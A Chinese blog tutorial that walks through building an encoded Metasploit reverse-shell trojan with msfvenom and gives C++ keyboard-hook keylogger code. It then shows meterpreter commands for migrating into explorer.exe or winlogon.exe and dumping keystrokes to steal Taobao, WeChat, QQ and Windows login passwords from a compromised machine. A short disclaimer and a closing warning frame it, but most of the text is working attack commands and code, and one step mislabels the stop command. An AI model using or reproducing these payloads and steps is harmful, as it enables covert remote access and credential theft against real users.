远程控制-键盘记录
声明:本篇内容禁止用作非法目的,谢绝一切形式的转载
当你在登陆电脑的时候,当你在登陆淘宝的时候,当你在登陆微信的时候,你的输入可能正在被记录,然后电脑的登陆密码、微信帐号密码、淘宝的帐号密码就这样在不知不觉中泄漏了。
木马生成
生成木马的命令如下,本文基于的是win7 32位系统,64位的可参考这里
sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.42.49 lport=8888 -e x86/shikata_ga_nai -i 5 -f exe -o win32_burning.exe
开启监听

具体含义可参见这里
一个简单的键盘记录器
使用低级键盘钩子来hook键盘消息。 核心代码如下:
// keyboardhook.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include<iostream>
#include<windows.h>
using namespace std;
HHOOK g_Hook;
LRESULT CALLBACK LowLevelKeyboardProc(INT nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
BOOL bControlKeyDown = 0;
switch (nCode)
{
case HC_ACTION:
{
// Check to see if the CTRL key is pressed
bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);
//Check to see if the Cap is pressed
BOOL bCap = GetAsyncKeyState(VK_CAPITAL) >> ((sizeof(SHORT) * 8) - 1);
//Disable CTRL+ESC
if (pkbhs->vkCode == VK_ESCAPE && bControlKeyDown)
return 1;
if(wParam == WM_KEYUP)
printf("%c", pkbhs->vkCode);
break;
}
}
//Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
return CallNextHookEx(g_Hook, nCode, wParam, lParam); //回调
//return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
MSG msg;
//Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
g_Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL,
(HOOKPROC)LowLevelKeyboardProc, GetModuleHandleW(0),0);
while(GetMessageW(&msg,0,0,0))DispatchMessageW(&msg);
return 0;
}
meterpreter获取键盘输入
三个关键命令
keyscanstart开启键盘监听后,再用keyscandump进行记录的导出,如果不想监听了才keyscanstop。而不是先keyscanstop再keyscan_dump。
获取淘宝帐号密码
淘宝网的登陆页面如下:

在前面的介绍中,已经获得了meterpreter。如果能知道"肉鸡"端用户的输入,密码自然就轻易获得了。那怎样能获得用户的键盘输入那?
绑定进程
获取到meterpreter之后直接开启键盘监听是无法获取到上图中的键盘的输入的,因为进程空间是不对的,所以,首先需要选择正确的进程。通过ps命令可以查看肉鸡的所有进程。

其中的explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。因此对于windows中图形界面相关的输入内容都可以通过migrate(迁移)到这个进程中实现键盘记录。迁移进程使用 migrate pid号
。
开启键盘记录
开启键盘监听
keyscan_start
导出记录
keyscan_dump
。如下所示,帐号和密码都被dump出来了。

关闭监听
keyscan_stop
微信,qq等帐号密码的获取方式基本相同。
获取电脑的帐号密码

如果此时你的输入被记录下来,那密码自然也就没什么秘密了。
这个进程和explore.exe进程不同,需要的是上面列出的winlogon.exe。winlogon.exe是Windows NT 用户登陆程序,用于管理用户登录和退出。该进程的正常路径应是C:\Windows\System32,且是以 SYSTEM 用户运行。
绑定进程
migrate 进程pid
开启键盘记录
开启键盘监听
keyscan_start
导出记录
keyscan_dump
。密码被dump出来了。注意:这个在切换用户的时候是不能获取到键盘的输入的。当锁定账户时是可用的,多数用来获得管理员密码。

关闭监听
keyscan_dump
写在最后
不名来历的连接不要点击,更不要运行。同时希望相应的厂商能再增加一下安全措施,让这种键盘记录不能生效。
又是一年高考时,2020年的高考来的稍晚一些。天公作美,诸事大吉。把蒲松龄自勉的一句话送给考生:有志者,事竟成,破釜沉舟,百二秦关终属楚;苦心人,天不负,卧薪尝胆,三千越甲可吞吴。
公众号
更多网络安全内容,欢迎关注我的公众号:无情剑客。
